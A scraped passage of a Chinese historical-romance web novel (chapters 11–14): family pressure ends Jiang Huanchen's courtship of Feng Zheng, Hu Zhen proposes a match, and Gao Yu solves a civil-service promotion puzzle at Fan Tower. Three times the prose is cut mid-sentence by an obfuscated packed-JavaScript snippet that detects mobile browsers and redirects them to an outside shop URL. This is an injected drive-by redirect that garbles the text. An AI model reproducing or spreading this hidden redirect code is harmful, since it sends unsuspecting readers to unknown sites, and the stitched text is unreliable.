她清楚地想起多年前,父亲还守在巴陵郡做循吏的时候,从来自视甚高的父亲,动用那一点点微薄的关系,堆着逢迎的笑辗转京畿,给得罪了权贵的嫡兄疏通门路时,那副跪下去的膝盖,在寒冬腊月里如何令他苦痛连连。 他维持了半辈子的体面和尊严,在权力的碾压下轻易就变得不堪一击,那时父亲是怎么做的? “他从一介郡吏苦熬成郡守,替你摆平很多麻烦,又替你争取到寺卿的关照,此后,他一心盼着荣退故里,再不能替你筹谋更多。” “哥哥愿做铮铮劲草,不愿做攀附权贵的可耻之徒,却何尝有替父亲着想?父亲为你付出这样多,你又何时想过,他兢兢业业半生,落得一身沉疴顽疾,致仕的折子递了一年又一年,为何每次都是无疾而终?” “还不是他地位低微,奏到御前,总是被忽略的那一个。” 江慧织眼含热泪,声音因一步步靠近而哽咽。 “我知道你青睐阿筝,可是个人好恶总得为孝道让步,父亲那里,急需一位说话有分量的大人替他陈情……难道你忍心看着父亲忙碌数载,为一方百姓呕心沥血,最后却孤零零一人,在偏远的巴陵晚景凄凉?” 江涣臣身躯微动,看到母亲和祖母站在夜色里,灯火映亮她们忧愁的脸,心中涌起一种莫大的哀愁。 他十五岁离家求学,家里围着他的学业打转,围着他的仕途忙碌,毫无保留地托举他成才,等到他扎根京关考取到功名,江家门庭地位渐涨。 这期间,门第风光,有一半是父亲给的。 江慧织言辞凿凿,努力劝嫡兄回心转意,短暂就没提,今夜将冯筝约出来赏灯后,在绸布庄里遇见魏窈娘的事情。 魏窈娘年初远嫁京城,最近抽空回来探亲,昔日手帕交碰面,却在绸布庄里好一顿显摆。 红丹蔻,锦斓裙,光鲜亮丽的一身荣华,灼得她微微红了眼睛。 魏窈娘给官宦续弦都能过得这样自在,可见京族如何富庶。她起初就有些心猿意马,更是在魏窈娘取笑般说道,江奉礼同僚颇多,怎么没给她张罗郎婿之类的话时,心里彻底动摇起来。 江慧织趁热打铁。 “照理说,京城官宦子弟众多,俊俏郎君也不少,诸如礼部郎廉复,户部郎薛格……还有慎刑司的洪司丞,个个仪表不俗,结果偏偏哥哥招惹桃花,只因这些人不是性情高傲,就是刑官出身,颇具凶名。” “对比起来,哥哥知尊卑,懂谦退,是最招女眷惦记的文臣模样,哥哥觉得蒙羞,特地告假回来避一避风头,可是我觉得,这事其实不难接受。” 江涣臣困惑且头疼,“你从哪里知道的这些?” 江慧织停顿住,知道这副点名道姓的说辞来得蹊跷,她敢照搬魏窈娘原话,就没打算把她和魏窈娘碰面的事情一直瞒着。 江涣臣轻微蹙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935088|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你还有两年就要出阁,这种话听听便罢,不该拿出来宣扬,焉知你今日褒贬他相貌声名,明日传到他耳朵里就不是话柄。” 江慧织根本顾不得这些,提到出阁就颇有怨怼。 “章家四郎好逸恶劳,又是督尉府里最弱的郎君,京城诰命重臣众多,遍地都是青秀栋梁,绢花随便打中一个都比他有能耐!” 江慧织声音急促起来,她注定是要做高门宗妇的,“等江廉两家结成姻亲,我何愁找不到更好的出路?” 江慧织及笄两年,已不是什么没有盘算的懵懂年纪,江涣臣意识到这些,之前好端端的突然变卦,也顺便看懂了原因所在。 “好话歹话都被你说了。” 江涣臣态度松缓,双手替她拢了拢外披,终于答应放弃冯家。 “孝道在前,我不会让父亲晚景凄凉,如家中所愿,我也会和冯家好聚好散,但是有一句丑话请你记住。江慧织,前程要靠自己争取,谁都有私心,却不是每一次都能踩他人的登云梯而涨自己形势。” “你和章督尉家换过庚帖,想要毁亲,这事找我没得商量,打算另寻出路,也休想指望我未来岳族。” 至此,江涣臣不再停留,面朝双亲示意宽心,而后大步离开了院落。 江慧织忽然就说不出话了。 当一点可怜的盘算都被推翻,一点私心都不被满足,江慧织慌张起来,整个人忽感摇摇欲坠。 江夫人只看到江涣臣替她拢衣御寒,对两人后来说了什么并不知情,缓慢走过来,替她摘掉发间枯叶。 “宣城秋意变浓,他的官假这些天也就结束了,且放宽心,等他回去,结果总会理想起来。” -- 冯筝醒时东方既白。 她早起用了一碗生姜茶,配点暖脾温补的药膳做食,这是三年前便害得的病灶,自打从襄阳回来时起,她对冷热的感知便敏感起来,每逢寒暑交变,冷汗总能湿透里衣。 换完衣裳出来,吴阿姆担心她冷,架起炭笼让屋里回暖。 炭笼是两天前就翻出来的。那夜她和高豫相继弃车,又相安无事般驱车回府,她披着高豫的围氅回来,却禁不住某句判词令她齿寒,等炭火把自己烘暖和了,才从如坠冰窖的凄凉里抽出神来。 冯筝眼神微垂,她对高豫的判词半信半疑,不过是因为,三年前他捏造身份瞒她全程,就顺便觉得,如今哄骗她第二回也不无可能。 冯筝薄得安慰,却想不通他诓骗她的理由何在,无解得久了,也不得不承认自己是在自欺欺人。 她难以接受高豫处境,酒楼相认时是,茶铺夜话时也是。 她对高相品行知之不详,不知道过往政绩如何,却很明白,“罪实难逭”的分量到底有多沉。 逭,逃也,高相有罪,在劫难逃。他好好一位辅弼重臣,倘若没栽这个跟头,或许能在青史简中续几行生平,如今在野闻书中满篇骂名,怎么不连累子女跟着吃尽苦头? 人果然是善变的,在重逢刍荛以前,高相罪过如何无关她痛痒,重逢刍荛以后,她竟也开始多虑起来。 冯筝慢腾腾把热姜茶喝完,尽量不去在意这些,放下茶盏,刚好注意到吴阿姆扭捏地捂着袖笼。 吴嬷掏出信笺,“这是早晨门房捎来的,江府的管事来见,说都是姑娘曾经的笔墨。” 退信用意明显,没有江涣臣的首肯,管事不可能自作主张。吴嬷责怪道,“江郎君看着是个坚贞的,没想到和他祖母做一处想,现在外面都知道他和别的姑娘心意相通,我看情投意合是假,贪慕虚荣才是真。” 冯筝没有接她的话,沉静凝视着信纸,不知在做何感想,她起身把信笺锁进箱屉,回头,阿姆遗憾担忧的模样纳入眼里,冯筝笑得清亮。 “这种嘘寒问暖的亲笔信,比起留在他手里招惹闲话,收回来反倒更让我心安。就算他不主动归还,来日寻到机会,我也是要想办法讨回来的。” 12. 第12章 细细算来,在收到江涣臣退来的书信以前,母亲曾跟她商量过家中打算。 那时母亲就说,“想做咱家的郎婿,最好把桃花撇干净了,否则婚后,你指不定要受多少委屈。” 她就断舍离,答应不再跟这江郎纠缠。 温温顺顺地答应下来,明明再通情达理不过,却让吴阿姆在后来很长一段时间里,一直觉得五味杂陈。 姑娘对亲事态度随和,对人对事都喜好淡淡的,看不出什么特别的青睐。在旁人家姑娘还在对郎婿挑三拣四的时候,她则是认准家中替她相中的人选,认认真真付出了时间,跟江家郎君磨合性情。 春信潮湿,冬信覆雪,每年时节,不管江涣臣的来信或早或迟,她都会亲手拆开研读,并坚持回以等量的篇幅。 寒来暑往的信件一封封送去,不说姑娘对他有没有感情,单说这份用心的对待,姑娘已经做到了极致。 可惜对方终究辜负了她。 想到这里,吴阿姆短暂想不通,到底该慰藉姑娘替夫人省心,还是该苦恼她把自己过得过于寡淡,可自己又做不了什么,只能一味地对姑娘好,弥补她在江家面前受的委屈。 屋里纸张簌簌地响,是冯筝整理书信的声音。 她把江涣臣的东西整理一遍,打算原样奉还,吴嬷吩咐云雀去办,没找到云雀踪影,嗫嚅着“不靠谱”的话,这就揣着亲自去办。 云雀是夫人拨给冯筝的婢女,只要她没有差遣,便将孟氏的吩咐摆在第一顺位,因她坐卧起居向来自便,没有使唤婢女的习惯,这些年来,便经常纵容她这般没影。 偏偏就是此刻,云雀蹬蹬跑来,差点和吴嬷撞个满怀。 “姑娘快快梳妆打扮,夫人说不可怠慢了贵客!” 慌慌张张的模样本就让吴嬷瞧不顺眼,更别提这话荒唐,讲得姑娘跟樊楼卖唱的似的。吴嬷使劲瞪眼,云雀刚在前堂惊险过一场,仍对半刻钟前的事情心有余悸,没空搭理吴嬷眼色。 冯筝:“什么贵客?” “是胡督学。” 云雀把呼吸喘匀,脸上挂满喜色,“他和学事司的大人们同行,自称给子侄说媒来了!” 城西塾馆,小厮福登前来报信。 冯承琨从闹哄哄的童生堆里挣出身子,掖平书卷褶皱的角,听到访客来意,冯承琨动作一顿,告了假,匆匆踏上了回府的路。 府里,督学官胡祯居正位主宾座,学正宋茸居辅位次宾座,两位陪僚临他们而坐,分别是监司林崇,以及和他交情不错的同级董余昉。 提举学事司统驭各地学府,各郡塾馆书院,无不唯提举学事司马首是瞻。平日百官集议时都凑不齐的上峰,此刻齐刷刷坐在家中,陪着胡祯一起扭过脸来,冯承琨心府微震,对所谓说媒,登时品出一股逼婚的味道。 冯公出门给友人题匾,暂时没回来,堂中孟氏一人待客,等到丈夫出现,让渡出主位离席。 冯承琨生性不苟言笑,又不擅逢迎谄媚,板着脸时,便显得心情不太愉快。刚刚落座,瞥到茶盏里盛的不是茶,而是库房里常见的土贡梅煎,脸色更难看了。 他便招来福登,提起京禄府官供的那块茶饼,贴心指明,“从左边数第二个箱子,挂了银锁的那个就是了。” 福登语塞,老太爷自以为把东西藏得稳稳当当,偏偏谁都知晓藏匿处,还偏偏谁都来惦记一遍。 然而箱底已空,福登左右为难,不便明说茶饼去向,只好编着理由推脱。 奈何二爷不信,“这种上了年头的东西,家里还有谁能惦记?” 冯承琨不理睬,全当福登胆小,“怕什么,你只管拿,有错我来担!” 福登没办法,果真换了茶水前来,按照吩咐伺候完茶水,暗暗替姑娘捏一把汗。 冯承琨缓慢端起茶盏,冯筝那句笃定话,在福登耳畔嗡嗡地响—— “管他是官禄府的茶还是宣州的茶,保证我爹尝不出咸淡,胡大人等人有求而来,哪怕尝出不对,料想也不会当堂揭穿,你只管照做,有罪我来请!” 满座一派祥和,仿佛浑然不觉,屏风后,冯筝替自己松了口气。 三巡茶水过场,主座胡祯搁盏明言,“关于你我两家,现在坊肆间有一种说辞,不知宋同寅是否略知一二?” 冯胡两家没有交集,八竿子打不到一块的关系,冯承琨未曾听说坊间说辞,凭直觉猜出大概,还是把情绪藏进懵懂的表面。 他便摆出请教姿态,宋茸就笑,“宋同寅潜心治学,两耳不闻闲话倒也不难怪。” 胡祯会意,索性铺开了讲。 “前阵子我在衙门观谕旨,离去前,被几位老臣认出了脸。我尾随高豫前来,却不愿对此多费唇舌,便半真半假,说是蹭冯府酒席来的。” “胡某祖籍隔壁碧城,这事宣城远近皆知,蹭酒席的事情传扬出去,坊肆间拼一出原委,好事者们镶一圈花边,结果就成了,我欲替宗室的子侄登门求亲。” 说到这里,胡祯笑起来。 “族亲听说这事,逮着我好一通打听,我就说,府上姑娘瞧着适龄,他们追问,我又说,那孩子同我问过好,模样秀致知礼。一番追问,每一句都喜出望外,后来族叔们便央我来,打算把这个说辞给坐实了。” “以前听说,宣碧两地一直有一种说法,儿女双全的媒婆出面,做的是添丁媒,三品以上大员出面,保的就是乌纱媒。如今我披乌纱,着襕袍,不知宋同寅有没有想法,与我胡家喜结连理?” 胡祯圆领襕袍,乌纱围裳,模样整洁端庄,做足了求亲的高调姿态。 然而江家的前车之鉴在前,冯承琨痛定思痛,不敢轻易应允,又或者打心底里就没觉得这事能成,全程锁着眉头,让气氛也跟着紧绷起来。 婉拒的话,怎么讲都理由薄弱,到头来,冯承琨含蓄一笑,“早就听闻胡家郎君博闻强识,小女德资平平,只怕不能作配,婚配之事兹事体大,还望督学再三思量。” 相比胡祯慈眉善目,林监司林崇则有些面冷,碍于场合,往日威信拿不出手,只能忍着脾性,好言相劝。 “虽是阴差阳错,却同样也是一种缘分。胡家家风严谨,世代嫡子嫡媳,家中所出,都是循规蹈矩的士林子弟,嫁过去只有享福的份。况且胡大人都这样坦诚了,你又何必再讲客套疏远的话,糟蹋我等一片好意?” 胡祯摆摆手,对冯承琨的慎重表示理解,却不认可他的评价。 “冯公人品贵重,令嫒作为他亲自教养的孙辈,德容言功定有一番造化,更何况都是年轻小辈,各自资历尚浅,无需捧踩比较,冯同寅这是过谦了。” 各路视线虚虚交错一遍,还是学正宋茸替他解围,安抚林崇稍安勿躁,又转头暗示胡祯,对方需要时间考虑。 可惜好意并不奏效,宋茸的圆场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935089|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没让冯承琨感到片刻轻松。 他顾虑重重,满座沉稳庄重,唯独他一捧茶盏悬了又放,在檀桌碰出清脆声响。 最后还是董余昉看不下去,强按疑惑劝道,“冯贤弟,胡家书香门第,你又一向崇文敬墨,两家结亲是当之无愧的好事,怎就如此让你抉择不下?” 宋茸附和:“如今在座的都是一个官邸的人,讲的也都是敞亮话,若有顾虑,但说无妨啊。” 冯公颇爱下棋题匾,一时半刻没法赶回来救场,冯承琨额头冒汗,也不清楚自己究竟在拖延什么。 二房的婚事,到底是得二房做主,冯承琨再拿不定主意,也只好把议亲失败的先例告诉胡祯,好让胡家知情后再做打算。 董余昉出声解释:“他说的,是那巴陵郡郡守江祜年府上。” 胡祯闻言点头,却不太在意,斟酌片刻后理解道,“原来是顾及令嫒名节。” “实话说,登门说媒以前,胡某对此事并不知情,哪怕预先得知了这些家私,今日这一趟,胡某还是会选择造访。” “你们两家前缘已散,前后又没有婚约保媒,我不在意,想来族叔们也不会在意。江家毁诺背信在先,百姓慧眼明辨,要挑也是挑他们的理,不会叨扰府上半句,哪怕往后,有人想起来吃回头草了……” 胡祯还以微笑,“江家近水楼台,他们怪胡家横插一足,胡家亦能责之捷足先登,所以冯同寅这是多虑了。” “婚配事宜,本就是双向选择的结果,既然令嫒尚未许配,冯家大可自主择婿,而我胡氏逢时而知,一朝遇上合适的姻亲,也自然没有望而却步的道理,你说是也不是?” 没有天花乱坠的自我褒扬,没有单调刻板的殷殷说教,他的通篇舒展温和,料是真正有底气的人家,哪怕将要面临被反复权衡的处境,也坦然展示着自己供对方甄选。 冯承琨聊得舒坦,话都说到这份上了,冯家哪里还有必要自缚贞操? 他半推半就地松了口,两厢商量下,安排两家儿女择日相看。 冯承琨难得春风得意,恨不能立即把喜事告知夫人,福登奉命赶往后宅,穿过屏风这时,赫然撞到了人。 一声惊呼险险扼在喉间,却没有逃过在场耳目,冯承琨便是此刻站了起来,“谁在那里!” 冯承琨深屏一口气,在看到冯筝走出屏风时眉峰横跳,见她还要探出手去,捡她狼藉掉落在地上的耳饰,直觉颜面大失。 他忍怒呵斥,“捡什么捡,难道还不嫌丢脸?速速给我回去,也不怕叫人看了笑话!” 冯筝手腕细微一动,顶着震怒下意识缩回,冯承琨还欲再言,偏偏一道声音率先落地。 “冯姑娘,许久不见。” 藏青色翘履缓慢步入视野,冯筝收手入袖,俯仰之间,来客已经走到了跟前。 貌至中年的胡祯面含微笑,眼尾收梢处积着儒厚,就这么站在两步开外的地方,语速和缓地向她提问:“姑娘家对登门问亲者好奇,想探一探究竟也是常情,这就招致过分苛责,反倒显得动辄得咎。我看冯姑娘形端身正,既然不曾行差踏错,又因何缘故萌生退意?” 四面庭堂阒静一片,他说得如斯迟缓,顷刻间也无人打断,冯筝闻言微振,恍然神定中,面前胡祯一改静容,庄重压眸对她讲道—— “好孩子,捡起来。在自己的主场丢盔弃甲,才是叫外人看了笑话。” 13. 第13章 “还是没有准备好吗?” 云雀轻手轻脚地合上房门,对着铜镜倒映出的剪影试探地问。 铜镜“啪嗒”一声反扣在桌面,动静轻微,令云雀的声音跟着一颤,加快语速把话说完。 “奴婢知道,二爷话有点密,姑娘不想听,但道理总归没有说错。相看的事已经定下章程,无论如何都要把礼数走完,若姑娘对胡郎瞧不上眼,事后找托辞搪塞掉便是。今晚绫桥桥头,咱是如何都得走一趟的。” 冯筝一袭裙掩衣,青玉绦束她清瘦的腰,耳边一阵连珠炮砸完,冯筝偏过脸来。 “瞧把你惊的。我只是疑虑,你确定打探清楚,胡郎君约我在樊楼碰面?” 云雀哑然。 胡祯做媒当天,学事司的人前脚刚走,胡氏一纸请帖便送到了府门,于是今天辰时,吴嬷陪同二房前往碧城做客,待到晚膳过后才回。 碧城幅员大,路上得有两三个时辰。 云雀留在冯筝身边,伺候和提醒的活计两不误,原以为姑娘对新的亲事颇有怨怼,听她说话才明白,这是把樊楼当作秦楼楚馆了。 樊楼原做酒楼生意,三个月前换牌经营。新东家姓董,以倒卖书画典籍而出名,譬如郭诩琵琶行图轴,市面上绝版的《刑律疏议》,都曾在他手里转过一遭,樊楼被他接手,一顿改头换面也不难理解。 曾经评弹卖笑的风月地,变成了商贾官宦的名利场,冯筝得知这些,对于要在樊楼见准郎婿的事,顿时也没那么难接受了。 发间珠饰有些累赘,再梳戴一遍恐怕要晚,她没多纠结,蹬起软底的鞋履就往外走。 酉时百姓群集,沿街张挂的灯笼一直能延伸到远处绫桥,绫桥两端缚满红绸,这是樊楼又在布置雅集。 他们招揽顾客花样百出,惹得沿途百姓谈论正欢,冯筝摁着云雀的手走下马车,饱览眼前繁华时,也忍不住感叹新东家的财大气粗。 楼中宾客众多,他们素未谋面,相见也无凭信,碰上一面理当困难。 云雀环顾四周,生怕错过任何一个疑似胡郎的人,冯筝却丝毫不操心这些,胡郎君请她相见,自有手段明牌身份,走走停停叫云雀莫急。 夜风贴水而过,卷着片段乐章掠过二楼雅座,几声管弦音如裂帛般嘶哑一声,惊得满座学子瞬间静下来,随后,又重新猜起了今夜的题纲。 胡驹进一把掀起掩帘,率先撞上展青的脸,展青表情冷酷,显然没给他机会再往里闯,胡驹进没办法,扁扁嘴怪他如何难沟通。 展青置若罔闻,“三郎君答应了。等会儿答题前你自报家门,声音响亮些,冯家姑娘在场一听便懂,实在遇到困难,他会酌情帮你一把。” 胡驹进赶紧答谢,“那就麻烦高先生了。” 这段时间,樊楼靠诗文字画附庸风雅,吸引了不少读书人聚集,他随意选择在这里相看,没想到竟给自己挖了个坑。 那董姓的东家倒书贩子出身,编出来的题一次赛一次刁钻,若非自己勉力从文,应付起来有些困难,他何苦把家中新聘的老师搬出来救场? 掩帘后,高豫倒一壶老茶,碗底碧螺春沉底。 一碗茶水入腹,高豫喉咙发苦,展青表情更苦。 高豫取笑他,“我是衣衫褴褛还是蓬头垢面,竟惹你见了这样不自在?” 展青没有正面回答,反手摸了摸脸,“很难看吗……我就长这样,难看也没办法。” “没有。倒是和城南酒楼那会儿,她背着我吃饼的神情有几分相像。” 展青便沉默住,安静片刻,生硬转开话题,“不知道胡叔是什么想法,知道你身份敏感不便露面,还把你搬出来给儿子镇场,招摇过众的事情,也不怕最后帮了倒忙。” “所以稍后还得劳烦你递话,我安分旁观,不会有人注意得到。” 展青果断应下,脑海却是另一种想法。 论气度论模样,高豫如何都出类拔萃。 说起气度,地方官精明,哪怕偶尔出公差时需要低调,他装束寒碜,缀在末尾,也总是最先被接见的那一个;再说模样,这副哪怕一身布襦芒履也无法埋没的相貌,说不会被注意那都是瞎话。 不敢苟同的话,只暗暗在心底过了一遍,忽闻管弦声黯淡下去,密集的鼓点将所有人的呼吸一把攥住,今夜赛事,正紧锣密鼓地筹备起来。 “某姓胡名驹进,碧城昭庄人士。” “某姓杜名秉容,宣城郊岭书院的儒生。” “督尉府上第四子章拱。” “……” 随着赛事开场,越来越多的青年自报来历参试。这是樊楼设下的规矩,以防事后冒领赏金,还要求誊录人将比试者的面貌特征记录在案,把誊录人忙得焦头烂额。 看客们看稀奇,时不时接头议论两句,一边女眷堆里,云雀对冯筝频频眨眼,冯筝会以“知晓”眼色。 冯筝向人群前望去。 籍贯姓氏都对得上号,想必就是“准郎婿”没错了。 男子貌似和她同龄,即便努力表现得志在必得,那只别在后腰的拳头,还是出卖了他的紧张。 她就莫名被逗乐了。 侍者推着屏帷走场,一扇扇屏帷经过,象征着曾经的题集陆续落幕。诸如宋人徐度的《却扫编》,五代王定保的《唐摭言》,典制掌故像长了腿的鞭子,抽得人脑仁突突地疼,胡驹进站在前方,感觉头盖骨传来好一阵酥麻。 等到最后一道屏帷揭晓了题面,役使宣读起来,所有跃跃欲试的年轻人,得知题纲的那刻,忽然间竟偃旗息鼓。 然后交头接耳,鼓噪中夹杂着一声声重复。 “平仕图。” “平仕图啊。” “何为平仕图?” 没等众人商量出个结果来,役使们拉动绳索,房檐绳索脱缚,二十丈宽的画布瀑布般展开。 秋闱放榜般的壮观景象里,缎面画布黄底黑字,其上罗列中枢官位,大小共计八十余级,经丝纬线串联起各方,纵横捭阖间打通国脉,形成了一幅百官辅弼、近臣拱极的王朝体系。 儒生们浑身一震。 所有人皆翘首观望。 高豫走到阑干前驻足,仿佛看到多年以前,礼部贡院的红墙边,张季安指着挂榜的榜文满面春光,激动地恭喜他,终于能够一雪前耻。 “高相爷心偏,从来都只带大郎君赴宴,这回你金榜题名,风光无限,来年宫里御赐的狍鹿赏,高相爷总该带你去吧?” 过往的画面和眼前图幅重叠在一起,一排排名姓变成官职,寂静挂在前方,挂在每一个人的呼吸前。 插科打诨的闲聊消失,取而代之的是暗潮涌动的震撼与不安。 高豫眼皮微坠,仿佛有什么锋利的东西,哪怕已经翻篇很久,依然扎得他眼底心底钝痛不已。 那股钝痛,源于殿试场上答时务策,带他回到了陛见授官的前夕,看到九旒冕后,一双猜忌的眼睛。 “你不要做乌台官,那你想做什么。” “朕的肱骨大学士吗?” 漆金的御笔捅到他胸膛,顺着喉骨往上,强迫他抬起头脸,等他明明确确道一声“不敢”。 而后被沉默惹怒,“说话!” 高豫被击鼓声打断。 “诚如诸位所见,画中,部分官位下已经预拟考评。此番比试的主题是,在遵照现有官律的前提下,解题者需找到一条唯一可行的升迁路径,从吏科给事中晋级宰辅大臣。” 赛事在密集的鼓声中拉开序幕,胡驹进宽衫博袖,四肢轻便,却觉得此刻脚步重逾千斤。 霎时间,唯有一个念头在脑海里轰鸣—— 这画超纲了。 …… 云雀从脂粉堆里腾出空位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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稍许,胡驹进眼睛一亮,捕捉到一点可怜的头绪,握着笔杆刷刷地舞,冯筝就是此刻动容了起来。 遥记得胡祯一句铿锵的鼓励,让她当时受益良多。她曾捡起耳饰戴了回去,体体面面回了住处,此刻就本能地不希望,他的子侄因无能破题而公然出糗。 一点点同情敛进眼尾,再抬头时,眼里写满期待:“这题你能解的,对吗?” 展青一惊:“奇怪,她是什么时候看到我们的?” 随后,一道稳定宽容的声音做出了决定。 “展青,帮我取一件披风来吧。” …… 高豫对她,不是什么言出法随的偏爱,更多的是推己及人的维护。 但这幅朝臣缩略图,象征着致使他革职的政权中枢,她明知对方削迹朝端,却仍然怂恿他招摇面对,这样做,会不会有些过于残酷? 高豫袍衫素裹,拨开看新奇的人群向前走去,兜帽遮住他半幅容颜,察觉动静的人陆续回头,只见青年气度斐然。 青年目视前方,图幅暗描半壁山水,柔和的春意托举着朝纲,他迎着这道春色意旨,稳稳走进了一个圈套。 胡驹进看见高豫时,脑海闪过无数个疑问。 高先生?他为什么亲自过来,难道要替他出风头吗? 脑袋很乱,却前所未有地感觉到惊险,胡驹进丢下纸笔追过去,立马被展青一把拦住。展青瞟向冯筝所在,强行扭他转了个面,不远处,云雀手挽冯筝微微颔首,冯胡两姓成功会面。 耳边,展青咬牙切齿的声音响起。 “胡驹进,你的难关过了。” “接下来,是属于郎君的难关。” 14. 第14章 案前香烛燃到一半,离比试结束还有时间,细碎的灰掉落,填满底座镂空的缝。 迟迟没有人给出正解。 答题者碰壁,丢下演算的纸笔接连退出,役使没办法,取来誊录着名姓的纸张一一划去。有儒生觉得颜面扫地,安静弃权,给后来者腾地方。 可惜偌大郡城,等不到一个能破题的。 役使等得懊恼,当拨开人群的高豫闯入视野,一种很明快的预感,莫名使他振奋起来。 没有辜负期待,高豫言语利落,“除了时限问题不再赘述,不知这幅图,对解题过程还有何要求?” 役使答无,“还是那句话,在遵照现有官律的前提下,从吏科给事中起始,目标晋级宰辅大臣,解题者需尊重考评,找到一条唯一可行的升迁路径。” 高豫朝书吏点了点头算是招呼,书吏捏着笔正百无聊赖,接到示意,挽袖蘸墨,直抵生宣。 一记编钟敲响,刻漏开始计时,高豫稍理头绪,随后复盘出职路轨迹。两个窄袖对襟的杂役出现,快速抬出一张长屏,他们守在书吏跟前,准备随时将写明他思路的纸张张贴示众。 一套按照惯例的常规操作,章程之丝滑,把一群儒生看懵了眼。 正题进入得太快,快得没人顾得上关心他来历,都忙着眺望平仕图,好将答题者的思路逐一验明。 “从吏科给事中晋至宰辅大臣,通俗来讲,就是由科举及第到参政中枢。题面看似点明了重点,实则目标依旧隐晦,只因按照庆律,‘宰辅大臣’只是泛称,在官释篇中并无特指,哪怕是执掌官吏任命的吏部,也无法明确地定义,宰辅到底算谁的尊称。” “不过司封司的典例写得很详实。宰辅,辅弼吏治,拱极之最也,所以宽泛地理解,左右宰相以及参知政事,都可以计入宰辅范畴。” 遥望画布顶端,帝级以下,高豫偏眸看向同级权要,冷静掠过诸般显赫。他甚至不用斟酌思考,果断排除了两条路径。 “至于枢密使与尚书令,无需纠结其权职大小是否冠得起‘宰辅’之称,画面中,二者轨迹单道连通,与六科给事中任意一科都不发生关联,稍作试水即可排除。回看正副两相及参知政事,二者甄别子枝,不难发现,其员额来源无非两种——翰林学士和知制诰。” “翰林学士和知制诰合称‘两制官’,分掌内外两制。知制诰为中书省属官,便是民间俗称的外制词臣。两制官之间存在联动,谨按律例所书,知制诰之优者可以提拔为翰林学士,这一条,在这幅图的附注,也就是考评之中亦有体现。” “至此,值得抉择的节点到了。” 高豫轻描淡写。话音落地的瞬间,看客们呼吸凝结,心也跟着揪在一起,像一枚误闯宫禁的棋子,战战兢兢地,寻求一块落脚之地。 “是直接咬定翰林学士,还是选择走知制诰这条路曲线自救,按理说不难决定:前者支脉繁多,单看考评,每一条走向都很稳妥,对比后者,一路埋伏着各种差错,稍有差池,罚俸贬谪在所难免。” “或许出于趋利避害的本能,惯性会选择翰林学士这条走向,殊不知结果根本经不起推敲。” 书吏绝望辍笔。出于照顾书吏速度,高豫没继续说下去,他停下等了等,书吏重新举起笔的时候,有儒生站出来提出质疑。 “如郎君所言,两制官皆有拜相机遇,既然直接晋位翰林行不通,走知制诰就行得通了?” “就算信了你的,咱后退一步,曲线自救,打算由知制诰提拔为翰林,再夺宰辅,可是从吏科给事中到知制诰这条线,途中罚则众多,哪一次不是遇评则贬?” 这些碰过壁的儒生,讲起罚则的滋味最有发言权,他们一个个讲着质疑的话,尽在高豫意料之中。 “这也就是我接下来所要讲的误区了。” 高豫继续推进。 “从吏科给事中起步,上行路径看似通达,然而成为两制官之前,总有触及瓶颈的时候,此后反复斡旋,随时陷入停摆困境。所以在此题中,执意趋利避害,规避罚则,结果只会自困迷津。” 一名稍微年长的儒生不能理解,几乎是甩了袖子喊道:“郎君说趋利避害是此题误区,请恕杜某难以认同!” “吏科给事中的路极其难走,遇评则贬也就罢了,困难是稍经贬谪,再想提拔,事后更是无疾而终……若不专心规避罚则,难不成一贬再贬贬出京去,还能等到圣人翘首、否极泰来?” 胡驹进站在展青身后,视线越过他宽阔的肩膀,问:“现在的书生都这么硬气的吗?” 展青偏头挑眉,抱臂挪开两步。 “总比某些软弱的强,只敢缩在我背后议论。” 胡驹进没搭理嘲讽,回头寻找冯姑娘踪迹,却见先前站着冯家主仆的位置,早已填上陌生面孔。 “我半途离场是个意外,这时候回去,给先生添堵可就不好了。” 胡驹进收了收心,“你看那姓杜的郎君,反应这样激烈,怎么先生好像也不着急?” 图幅前,杜秉林苦熬此题久矣。 他代入感太强,以至于说话时都有些动怒,然而让他匪夷所思的是,他似提到什么紧要处,引得答题的青年侧过头来,如见亡路之徒迷途知返,眸中一记赞赏一晃而过。 短时间,杜秉林的质疑受众颇广,众人成群起哄。 在“受贬出调,岂非更难复起”之类的质疑声中,杜秉林受那记眼神惊扰,刚想跟进并探寻出什么,青年却话锋一转,让当前议题顿时扭转。 “庆律官禄篇载明,朝臣担任知制诰,要有州郡一级的履职经历。” 满楼先是寂静一片,霎时间一石激起千层浪,读书人当场手翻札记,但经史子集岂会收录这些律例? 当州县履历成为要件,贬谪出京反倒变成正解,当平仕图并未写明的细则,与最初“遵照现有官律”的前提不谋而合,所有人都开始正视这条律例。 满楼嘲评,渐渐扭转为指责命题者不厚道,四周风评倒戈,杜秉林顿时心情复杂。 很难讲的清,这名竞逐者的出现对他来说,到底是一种羞辱,还是确切来说更像一种救场。他嘴唇翕张正打算问点什么,却见青年双眸微沉,调转身形直面图幅。 